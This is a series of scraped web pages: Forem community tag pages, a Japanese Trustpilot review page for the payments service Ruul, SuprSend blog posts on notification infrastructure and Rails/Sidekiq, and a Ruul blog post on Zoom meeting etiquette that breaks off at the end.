Third-Party Websites or Applications . The Services may contain links to other websites or applications, and other websites or applications may reference or link to our Services. These third-party services are not controlled by us. We encourage our users to read the privacy policies of each website and application with which they interact. We do not endorse, screen or approve, and are not responsible for, the privacy practices or content of such other websites or applications. Providing personal information to third-party websites or applications is at your own risk. Changes to Our Privacy Policy . We may revise this Privacy Policy from time to time in our sole discretion. If there are any material changes to this Privacy Policy, we will notify you as required by applicable law. You understand and agree that you will be deemed to have accepted the updated Privacy Policy if you continue to use our Services after the new Privacy Policy takes effect. 12. CONTACT US If you have any questions about our privacy practices or this Privacy Policy, or to exercise your rights as detailed in this Privacy Policy, please contact us at: support@dev.to . 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://core.forem.com/t/api	API - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close API Follow Hide Application Programming Interface Create Post Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... trending guides/resources Added a /community endpoint as sort of an info hub for every subforem. It's kind of just a proof ... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://jp.trustpilot.com/review/ruul.io	Ruul のレビュー\| ruul.io についてカスタマーサービスのレビューをご覧くださいおすすめ企業 Paddle paddle.com • レビュー 1万件 4.1 Payhip - Sell Digital Products payhip.com • レビュー 361件 4.4 Xolo www.xolo.io • レビュー 421件 3.8 カテゴリーブログログインビジネスユーザービジネスユーザーログインカテゴリーブログ金融・保険投資・財産代替金融サービス Ruul 概要会社情報レビューウェブサイトにアクセスレビューを書くウェブサイトにアクセスプロフィールを登録しています Ruul レビュー 431 • 4.5 代替金融サービスレビューを書くウェブサイトにアクセスレビューを書く Trustpilot に参加している企業は、インセンティブを提供したり、レビューを非表示にするためにお金を払ったりすることは許可されていません。企業情報アクティブな Trustpilot サブスクリプション代替金融サービス当該企業による記述 Invoicing and payment collection for freelancers. No company needed. Just Ruul. 連絡先 Hjälmaregatan 3, 201 23, Malmö, スウェーデン info@ruul.io ruul.io 4.5 優良 431件のレビュー 5つ星 4つ星 3つ星 2つ星 1つ星 TrustScore はどのようにして計算されるのですか。ネガティブなレビューの 100％に回答しています通常24時間以内に回答この企業のTrustpilot 利用方法この企業を閲覧した人は、以下の企業も閲覧しています。 Paddle paddle.com 4.1 (1万) Payhip - Sell Digital Products payhip.com 4.4 (361) Xolo www.xolo.io 3.8 (421) Lemon Squeezy lemonsqueezy.com 1.3 (104) Dodo Payments dodopayments.com 3.4 (55) Paidwork paidwork.com 4.4 (5万) Whop whop.com 3.8 (1941) Enty enty.io 3.8 (67) 4.5 すべてのレビュー合計 431 件 ● レビューを書くレビューの確認を行います 5つ星 89% 4つ星 4% 3つ星 1% 2つ星 1% 1つ星 5% Trustpilot のレビュー分類方法その他のフィルター新着順統合されたレビューとプロフィール詳細を表示このプロフィールは、この企業の持つ1個以上の他のTrustpilot プロフィールと統合されました。ここで表示されているレビューのいくつかは、もともと他のプロフィール上にありましたが、今後はここで一つにまとめて表示されます。プロフィールは同一ドメイン、商標変更、所有権の移転などの理由により統合されることがあります。もっと読む kore kuge JP • 1 件のレビュー 2025年7月25日 best support The response was very quick and accurate. Thank you! 2025年7月25日自発的なレビュー Ruul からの回答 2025年7月28日 Thank you for your kind words! We’re happy to hear our team could assist you quickly and accurately. We’re always here if you need anything. 💙 すべての言語のレビューを表示 ( 431 件のレビュー) 前のページ 1 次のページ Trustpilot エクスペリエンス誰でも参加できます Trsutpilot のレビューは誰でも書くことができます。レビューを書いた人には自分の書いたレビューをいつでも編集したり削除したりする権限があり、それらのレビューはアカウントがアクティブである限り表示されます。確認済みレビューを支持します企業は、自動招待を介してレビューを依頼することができます。この方法で得られたレビューは、本物の経験に基づいたものであり、確認済みのラベルが付与されます。他の種類のレビューについての詳細はこちらをご一読ください。偽レビューの撲滅に努めていますプラットフォーム保護のため、専門チームと高度なテクノロジーを駆使しています。偽レビューとの闘いについての詳細はこちらをご一読ください。最新のレビューを表示します Trustpilot におけるレビュープロセスの詳細についてはこちらをご覧ください。建設的なフィードバックを奨励しますよいレビューを書くための8つのヒントをご覧ください。レビュアーの確認を行います確認を行うことで、Trustpilot に投稿されるレビューが [LINK-BEGIN-PEOPLE]実在の人物[LINK-END-PEOPLE] によって書かれたものであることの保証につながります。先入観に基づく不公平な判断は支持しませんレビューに対してインセンティブを提供したり、選択的にレビューを依頼したりすることは、TrustScore にバイアスを生む可能性があります。これは当社のガイドラインに反します。詳細情報 are you human? 国名を選んでください。日本 Danmark Österreich Schweiz Deutschland Australia Canada United Kingdom Ireland New Zealand United States España Suomi Belgique België France Italia 日本 Norge Nederland Polska Brasil Portugal Sverige 会社概要会社概要採用情報お問い合わせブログ Trustpilot の仕組みプレス投資家情報コミュニティ信頼できるレビューヘルプセンターログインサインアップビジネス Trustpilot ビジネスプロダクトプラン＆価格ビジネスログインビジネスブログソーシャルメディア法律要件プライバシーポリシー利用規約レビュアーのためのガイドラインシステム状況英国現代奴隷法に関する表明 © 2026 Trustpilot, Inc. All rights reserved.	2026-01-13T08:47:56
https://core.forem.com/t/seo	Seo - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close # seo Follow Hide Search-engine optimization topics Create Post Older #seo posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://www.suprsend.com/post/what-is-a-notification-infrastructure-and-why-it-matters	What is a notification infrastructure? (and why it matters) Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Notification Infrastructure What is a notification infrastructure? (and why it matters) Kavyapriya Sethu • September 5, 2025 TABLE OF CONTENTS Notifications aren’t just reminders—they drive product usage and shape key user experiences. A welcome email sets the tone for onboarding. A push delivers recommendations. Alerts prompt collaboration, nudge users to finish what they started, and recover lost revenue. And in critical moments? Notifications flag trade errors, remind users of renewals, or alert you when SLAs are breached. Whether transactional, promotional, or system-critical, notifications shape both user experience and business outcomes. When done right, notifications boost adoption and quietly drive engagement. When done wrong (or worse, missed altogether) they create friction, confusion, and lost users. But here’s the thing: most teams don’t think much about notifications—until they become a problem. You start simple. One email here. A push notification there. Maybe an SMS through Twilio. Suddenly you’ve duct-taped together a system: logic scattered across services, custom scripts everywhere, and zero visibility. Sound familiar? Welcome to the world of notification infrastructure. This blog is for you if: You’ve built some notification logic, but it’s starting to sprawl You’re patching more than shipping You’re wondering if it’s time to rethink (or rebuild) before things spiral Let’s unpack what notification infrastructure really is, why building it yourself is a complex endeavour, and how to get ahead of the complexity—before it owns your engineering team’s bandwidth. What modern products demand from notifications Notifications seem simple. But under the hood, they demand a lot more than a send() function. Here's what you're really dealing with: Multiple alert types: Logins, transactions, reminders, updates, system alerts, feature drops, action required, recommendations—notifications can fire from all your services. Personalized targeting: Sometimes you’re pinging a single user. Other times, it’s a group. Often, it’s personalized per recipient based on their behavior or context. Multi-channel delivery: Email, SMS, push (iOS/Android), in-app, WhatsApp—most products support 2–4 channels, minimum. Each has its own quirks. Localization: You need to send messages in the right language at the right time, respecting time zones and regional nuances. User preferences: Think Slack-level control: users expect to decide when, how, and where they’re notified. Consistency : Across templates, channels, and product lines, users should feel like every message comes from the same brand Persistence: Some messages are disposable (promotional campaigns). Others must persist (activity or transactions). Your system needs to know the difference. ‍ Observability: If a push fails silently or email bounces, your support team shouldn’t play detective to figure out why. It’s the foundation for debugging, optimization, and compliance. You can’t improve what you can’t measure. ‍ Customizations : Multi-tenant setups, customer-specific branding, dynamic templates, deeply nested data models—it gets wild fast. And that’s just the surface. Behind the scenes, your infrastructure must also: Stay reliable even under traffic spikes Separate pipelines for prioritization of transactional vs. bulk messages Retry and failover when a provider flakes out Debug live issues without crying into your logs Support compliance and audits by design Sending is easy. Managing the lifecycle is where things get tricky. What is notification infrastructure? Notification Infrastructure Design — By SuprSend A notification infrastructure isn’t just an API to send messages. It’s the system that powers the what, when, where, and how of notifications. It’s the backbone that powers what gets sent, when, where, how, and to whom. It weaves together everything modern products demand—multi-channel delivery, templates, preferences, retries, localization, observability—into one cohesive system. It connects your app logic with communication providers, manages workflows, tracks delivery, and makes sure the right message hits the right user at the right time. In short: it’s everything under the hood that makes notifications reliable, scalable, and user-friendly. Centralized Logs by SuprSend Preference Management by SuprSend Want the full breakdown? Read our guide to key components of notification infra. Why centralized notification infra changes everything If your notifications are scattered across services, you're already paying the price: shipping is slow, debugging is painful, product iteration is blocked and users are not as engaged as you would like them to be. A centralized notification system flips the script. It will allow developers to Keep notification logic separate from core application code Reduce duplication by centralizing channels, templates, and workflows Eliminate boilerplate code for channel-specific handling, retries, and logging Provide tooling to all non-tech team to manage templates and experiment Scale under high notification loads and maintain easily Improve debugging with centralized delivery logs and failure tracking Product teams can Launch and iterate on new use cases faster Ensure consistent user experience across channels and features Test and optimize workflows easily Manage user preferences and be compliance Optimize delivery by time zone, language, and frequency Reduce user fatigue by avoiding notification overload Measure impact of notifications through unified analytics Centralization doesn’t just make life easier. It makes your notification system scale-ready, future-proof, and fast to ship with. Honestly, this is exactly why we built SuprSend—so your team doesn’t have to spend quarters reinventing what should just work. Can you build it yourself? Build or Buy? Choose Smart Of course. You can also build your own Stripe or AWS—but should you? Your V1 might start simple. But templates, preferences, retries, localization, logs, and observability creep in fast. Before long, you’re maintaining a platform. Unless notifications are your core product, you’ve now signed up for a long-term engineering detour. Some teams point to Slack or LinkedIn and think, “They have it. So should we.” But what they miss is the complexity behind those systems. Slack’s notification logic is deeply sophisticated. Users can choose where they’re notified—email, desktop, mobile—and even delay alerts on mobile if they're active elsewhere. Their routing flowchart ? It’s a spider web of edge cases and conditions, built over years. Flowchart of how Slack decides to send a notification LinkedIn? They don’t just send one notification and call it done. If you miss an in-app alert, they escalate it to email—but only after checking your preferences, history, and behavioral data. All of that is powered by their internal smart-routing engine, Air Traffic Controller (ATC). Building anything similar is a multi-team, multi-year project. We even broke down how LinkedIn handles unseen notifications in this article . So ask yourself: is this the best use of your engineering time? Sure, you can build a working version in a quarter or two. But a scalable, flexible system? That’s a 12–18 month investment—and that’s just to match what’s already available off-the-shelf. We broke down these hidden costs in more detail in this post . Bottom line: notifications aren’t your core business. Just like you wouldn’t build your own payment processor, you probably don’t want to build a notification system from scratch. Especially when you can plug into a battle-tested infra in hours—and get back to shipping. How SuprSend helps (and what migration looks like) SuprSend is a notification infrastructure in a box. It centralizes your notification logic, supports every major channel out of the box, and gives both devs and product teams what they need to move fast without stepping on each other. Here’s how it works: Send Triggers: Use single, unified API for all channels and providers Define templates and workflows : Use our GUI or APIs to set up templates, logic, channel preferences, and fallback rules—no hardcoding required. Add user preferences : Built-in preference center, localization, and time zone support—so users stay in control (and you stay compliant). Go live and iterate: Push to production with end-to-end testing, full observability, delivery logs, retries, and analytics built-into the core of your system, not managed by a disconnected service. You can start small and expand—no need to rip out what you have. “SuprSend replaced our complex, code-heavy notifications setup with a simple, intuitive solution that just makes sense.” — Madhulika Mukherjee, Co-Founder & CTO, Delightree Final thoughts Today’s products can’t afford brittle, fragmented, or poor quality notification systems. Notification infrastructure isn’t a backend concern or “something we’ll fix later.” It’s part of your product. It shapes user experience. It impacts growth, retention, and trust. Tired of duct-taping notifications together? Explore how SuprSend helps . Share this blog on: Written by: Kavyapriya Sethu Product Marketing Manager, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:56
https://core.forem.com/t/help	Help! - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Help! Follow Hide A place to ask questions and provide answers. We're here to work things out together. Create Post submission guidelines This tag is to be used when you need to ask for help , not to share an article you think is helpful . Please review our community guidelines When asking for help, please follow these rules: Title: Write a clear, concise, title Body: What is your question/issue (provide as much detail as possible)? What technologies are you using? What were you expecting to happen? What is actually happening? What have you already tried/thought about? What errors are you getting? Please try to avoid very broad "How do I make x" questions, unless you have used Google and there are no tutorials on the subject. about #help This is a place to ask for help for specific problems. Before posting, please consider the following: If you're asking for peoples opinions on a specific technology/metholody - #discuss is more appropriate. Are you looking for how to build x? Have you Googled to see if there is already a comprehensive tutorial available? Older #help posts 1 2 3 4 5 6 7 8 9 … 75 … 158 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://www.suprsend.com/post/optimizing-a-notification-service-with-ruby-on-rails-and-sidekiq	Optimizing a Notification Service with Ruby on Rails and Sidekiq Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Engineering Optimizing a Notification Service with Ruby on Rails and Sidekiq Sanjeev Kumar • August 30, 2024 TABLE OF CONTENTS Optimizing a notification service is essential for ensuring efficient delivery and performance. In this article, we'll explore how to optimize a notification service using Ruby on Rails for the API server and Sidekiq for background job processing. Architecture Overview ‍ Our optimized notification service will consist of the following components: API Server : A Ruby on Rails application that exposes an API for triggering notifications. Background Processing : Sidekiq, a background job processing library for Ruby, to handle time-consuming tasks and improve performance. Database : PostgreSQL or MySQL for storing notification data and managing real-time updates. Designing the API Server with Ruby on Rails Use Ruby on Rails : Leverage the Ruby on Rails framework to build a robust and scalable API server for handling notification requests. Implement RESTful endpoints : Design RESTful endpoints for creating, updating, and deleting notifications. Utilize ActiveRecord : Use ActiveRecord, Rails' ORM (Object-Relational Mapping) library, for interacting with the database and managing notification data efficiently. Copy Code # Example of a NotificationsController in Ruby on Rails class NotificationsController ‍ Implementing Background Processing with Sidekiq Integrate Sidekiq : Integrate Sidekiq into your Ruby on Rails application to offload time-consuming tasks, such as sending notifications, to background workers. Define Sidekiq workers : Create Sidekiq worker classes to perform specific tasks asynchronously, ensuring that the main application remains responsive. Use Redis for job queuing : Sidekiq relies on Redis for job queuing, so ensure that Redis is properly configured and running. Copy Code # Example of a Sidekiq worker for sending notifications class NotificationWorker include Sidekiq::Worker def perform(notification_id) notification = Notification.find(notification_id) # Logic for sending the notification end end ‍ Scalability and Performance Optimization Horizontal scaling : Scale your Ruby on Rails application horizontally by deploying multiple instances behind a load balancer to handle increased traffic. Caching : Implement caching strategies using tools like Redis or Memcached to reduce database load and improve response times. Monitoring and optimization : Use tools like New Relic or Scout to monitor performance metrics, identify bottlenecks, and optimize the notification service for efficiency. By optimizing a notification service with Ruby on Rails and Sidekiq, you can enhance performance, scalability, and responsiveness, ensuring timely delivery of notifications while maintaining system efficiency. Remember to continuously monitor and fine-tune your setup to meet evolving demands and maintain optimal performance. Share this blog on: Written by: Sanjeev Kumar Engineering, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:56
https://ruul.io/blog/etiquette-for-zoom-meetings	Etiquette for Zoom meetings - Ruul (Formerly Rimuut) Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up No items found. Etiquette for Zoom meetings Master Zoom meeting etiquette with our essential guide. From dressing appropriately to managing interruptions, elevate your virtual presence! Arno Yeramyan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Have you ever had any issues about how to join Zoom meetings, find the right link or adjust your background for Zoom meetings? How about problems with screen sharing that interrupt the flow of the meeting or your microphone that, from time to time, jammed for no reason?These were some of the most common problems almost all of us had, and to some extent still have, when we first started using Zoom. Although connecting with one another through virtual mediums for meetings precedes the COVID-19 pandemic, the market share of online meeting platforms such as Zoom dramatically increased during COVID-19 lockdowns.Let’s admit it: the whole thing looked a little sloppy in the beginning, but luckily, an etiquette for online meetings that most of us agreed on naturally developed over time. There are certain tips for virtual meetings that can not only increase productivity but also make the entire virtual experience much more pleasant for all participants. Keep reading to find out our suggestions on how to navigate Zoom meetings! Use video when you are available These days, video conference platforms such as Zoom are not only for those who are engaged in freelance or remote work but basically for everyone who is in the need of communicating with someone who lives far away. With a couple of simple yet effective tips you can figure out how to look better on Zoom meetings. Here are some fundamental tips for a better Zoom etiquette: Use video when you are available Declutter and organize your background Avoid eating and drinking Keep eye contact with speakers Actively listen other participants when they’re talking Many people of all ages struggle with public speaking, and this anxiety carries over to virtual meetings as well. Now imagine yourself as a speaker, and how hard it would be to gauge your listeners’ reaction if the only thing you could see was a dark screen with just names on it. In order to improve the meeting experience for everyone , try using your video as much as you can, especially when you are available. This will take the pressure off other participants and show them that you care to be present. Make sure your background is business appropriate Whether you are joining the meeting from your home office, living room, or kitchen, make sure your background for Zoom meetings is appropriate . If not, you may want to learn how to blur the background in Zoom and apply the feature in order to look more professional. Trust us: a neutral background prevents the other attendants from being distracted and communicates to them the message that you know take the meeting seriously. Only invite people who need to be in the meeting Carefully determine the purpose of your virtual meeting and invite people relevant to the job at hand. Inviting irrelevant participants will end up with your virtual room being overcrowded and it will consequently affect the efficiency of your meeting.Invite people whose presence is absolutely required for the meeting. Depending on the context and the situation, you may also want to consider closing down access to the meeting after a certain amount of time. Introduce people who don’t know each other Can you imagine a real life situation in which you are expected to feel comfortable and function well, while you are surrounded by multiple individuals whom you have never met? It’s not hard to imagine how uncomfortable the whole thing would make you feel.It is exactly the same for Zoom meetings. When we join a virtual meeting and see many unfamiliar faces, most of us react the same way we would normally react in a face to face situation. It usually makes the participants uncomfortable speaking openly when they are meeting new people. The appropriate etiquette here is introducing people that don’t know each other. This will prepare the setting for a productive and smooth online meeting where participants feel encouraged to participate. Avoid eating or drinking Avoiding eating and drinking is another great way to ensure you are presentable during Zoom meetings . An understanding of proper decorum sets the mood for a formal and professional gathering and also invites other participants to behave the same way.While drinking water is acceptable during online meetings, you should avoid drinking other beverages and having snacks. If it is a particularly long and demanding meeting, and if you absolutely need to eat or drink, try keeping it brief and turn your webcam and microphone off while eating or drinking. Take breaks during long meetings But how about the etiquette regarding the length of Zoom meetings; how long should Zoom meetings last ? The answer is: it depends! It depends on the subject, the people who are present, the topic and the number of participants. While a short Zoom meeting can last twenty to thirty minutes, longer meetings can easily take up to one or two hours.One way to make sure people aren’t overwhelmed by the length of a meeting is to schedule one or two breaks (or more) during meetings that take long. Taking a break is a good way to let the participants rest and keep their focus once you continue . Use eye contact Needless to say, eye contact is one of the essential elements of efficient communication. In face to face settings, making eye contact shows the other person that they are listened to and that their presence is acknowledged.Although it is hard to make eye contact in virtual settings, try addressing participants and attendees by name as much as possible . It will encourage them to engage in the conversation eagerly and make them feel included..In Zoom meetings, as in real life, caring for a certain etiquette and a code of appropriate behaviors is essential for good communication. Here, the message to take home is to let others see you by turning your webcam on when possible, to make sure your background is appropriate for the meeting, choose the participants carefully and take breaks if needed. By putting these easy and applicable tips in action, you can enhance your Zoom etiquette and turn your Zoom meetings into more efficient, smooth and productive gatherings.Online meetings are only one part of remote work communications .There are other areas where approaches to communication affects how a remote working team performs their business. This new way of working might not come naturally to some people, but it’s easier to learn and very rewarding once we get the hang of it! ABOUT THE AUTHOR Arno Yeramyan Arno Yeramyan is a talented writer and financial expert who educates readers on various financial topics such as personal finance, investing, and retirement planning. He offers valuable insights to help readers make sound financial decisions for their future. More Which Payment Gateway is Best for Freelancers in Spain? Freelancing in Spain? Learn which payment gateways will help you manage payments effortlessly. Click to explore the top choices! Read more Payment Processing 101: What it is and How it Works? Explore the fundamental features of payment processing. How electronic payment systems authorize, verify and settle your payments. Learn the future trends. Read more Top Gumroad Alternatives Compare the best Gumroad alternatives for creators in 2025—fees, features, ease of use, and who each platform is best for. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of 